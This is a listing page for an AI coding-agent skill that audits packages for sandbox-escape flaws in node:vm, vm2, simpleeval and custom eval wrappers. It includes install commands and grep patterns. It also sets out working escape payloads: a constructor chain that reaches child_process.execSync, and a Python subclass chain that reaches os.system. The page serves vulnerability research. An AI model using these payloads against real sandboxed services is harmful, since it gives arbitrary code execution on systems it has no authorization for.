advisory-mining
Mine GitHub Security Advisories and CVE databases for incomplete fixes, finding variant vulnerabilities in patched code or…
Detect VM/sandbox escape vulnerabilities in packages using node:vm, simpleeval, or custom sandboxes that can be bypassed to achieve code execution.
Claude Code
$ npx -y skills add ByamB4/find-cve-agent --skill sandbox-escape --agent claude-code
Codex
$ npx skills add ByamB4/find-cve-agent --skill sandbox-escape -a codex -y
Cursor
$ npx skills add ByamB4/find-cve-agent --skill sandbox-escape -a cursor -y
Gemini CLI
$ npx skills add ByamB4/find-cve-agent --skill sandbox-escape -a gemini-cli -y
GitHub Copilot
$ npx skills add ByamB4/find-cve-agent --skill sandbox-escape -a github-copilot -y
OpenCode
$ npx skills add ByamB4/find-cve-agent --skill sandbox-escape -a opencode -y
Windsurf
$ npx skills add ByamB4/find-cve-agent --skill sandbox-escape -a windsurf -y
name: sandbox-escape
description: "Detect VM/sandbox escape vulnerabilities in packages using node:vm, simpleeval, or custom sandboxes that can be bypassed to achieve code execution."
metadata:
filePattern:
- "**/*.js"
- "**/*.ts"
- "**/*.py"
bashPattern:
- "grep.*(vm\\.run|vm\\.create|simpleeval|sandbox)"
priority: 88Audit any package that uses node:vm, vm2, isolated-vm, simpleeval, RestrictedPython, or custom expression evaluators to run untrusted code.
**node:vm is NOT a security mechanism.** The Node.js documentation explicitly states this. Constructor chains ALWAYS escape the sandbox. If a package uses `vm.runInNewContext()` to isolate untrusted code, it is vulnerable.
The fundamental escape from node:vm:
// Inside vm.runInNewContext({}, {}):
this.constructor.constructor('return process')()
// Returns the real process object from the hostThen achieve RCE:
const process = this.constructor.constructor('return process')();
process.mainModule.require('child_process').execSync('id').toString();1. `this` refers to the sandbox object 2. `this.constructor` is `Object` (from the outer realm) 3. `Object.constructor` is `Function` (from the outer realm) 4. `Function('return process')()` executes in the outer realm 5. `process` gives access to `require` and the full Node.js API
# node:vm
grep -rn "require.*vm.*\|from.*vm" . --include="*.js" --include="*.ts"
grep -rn "vm\.runIn\|vm\.createContext\|vm\.Script\|vm\.compileFunction" .
grep -rn "new Script\|runInNewContext\|runInThisContext\|runInContext" .
# vm2 (deprecated)
grep -rn "require.*vm2\|from.*vm2\|new VM(\|new NodeVM(" .
# Python sandboxes
grep -rn "simpleeval\|SimpleEval\|EvalWithCompoundTypes" .
grep -rn "RestrictedPython\|compile_restricted" .
grep -rn "ast\.literal_eval" .
# Custom sandboxes
grep -rn "sandbox\|safeEval\|safe_eval\|secure_eval" .| Mechanism | Security Level | Notes | |-----------|---------------|-------| | node:vm | NONE | Not a security boundary. Always escapable. | | vm2 | LOW-MEDIUM | Deprecated. Multiple CVEs. Check version. | | isolated-vm | HIGH | Separate V8 isolate. Genuinely isolated. | | quickjs-emscripten | HIGH | Separate engine in Wasm. | | Python simpleeval | MEDIUM | Safe for simple expressions. Check version. | | Python ast.literal_eval | HIGH | Only allows literals. Safe. | | RestrictedPython | MEDIUM | Check version for known bypasses. | | Custom eval wrappers | LOW | Almost always bypassable. |
For node:vm, try these in order: 1. Constructor chain: `this.constructor.constructor('return process')()` 2. arguments.callee.caller (if in function context) 3. Error stack inspection 4. Proxy/Reflect objects (if available in sandbox) 5. Symbol.hasInstance override 6. Dynamic import() (if supported)
For Python, try: 1. `().__class__.__base__.__subclasses__()` -- access all loaded classes 2. `''.__class__.__mro__[1].__subclasses__()` -- string class hierarchy 3. Function object access: `func.__globals__`, `func.__code__` 4. `__builtins__` access through various chains
grep -rn "freeze\|preventExtensions\|defineProperty" . # Object hardening grep -rn "Proxy\|handler\|revocable" . # Proxy-based protection grep -rn "whitelist\|allowlist\|blocklist" . # Function filtering
const vm = require('vm');
const sandbox = {};
vm.runInNewContext('this.constructor.constructor("return process")()', sandbox);
// Returns the real process objectfrom simpleeval import simple_eval
# Access os module through class hierarchy
simple_eval("().__class__.__base__.__subclasses__()[X].__init__.__globals__['os'].system('id')")// Custom "safe" eval that blocks require/process/global
function safeEval(code) {
return new Function('require', 'process', 'global', code)(undefined, undefined, undefined);
}
// Bypass: arguments.callee.caller gives access to outer scope
// Or: this.constructor.constructor('return process')()Open Source CVE Hunting Harness for Claude Code A Claude Code plugin that systematically finds real CVEs in open source packages through coordinated multi-agent security research.
Mine GitHub Security Advisories and CVE databases for incomplete fixes, finding variant vulnerabilities in patched code or…
Detect authentication and authorization bypass vulnerabilities including missing auth middleware, JWT algorithm confusion, IDOR,…
Detect code injection vulnerabilities in packages that dynamically generate or evaluate code via new Function(), eval(), vm.run*,…
Detect OS command injection via shell execution sinks where user-controlled input reaches system commands without proper…
Cross-pollination multiplier technique: find a vulnerability in one package, then search for the same pattern across all similar…
Detect decompression bomb vulnerabilities where compressed input can expand to exhaust memory, targeting buffer-based…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…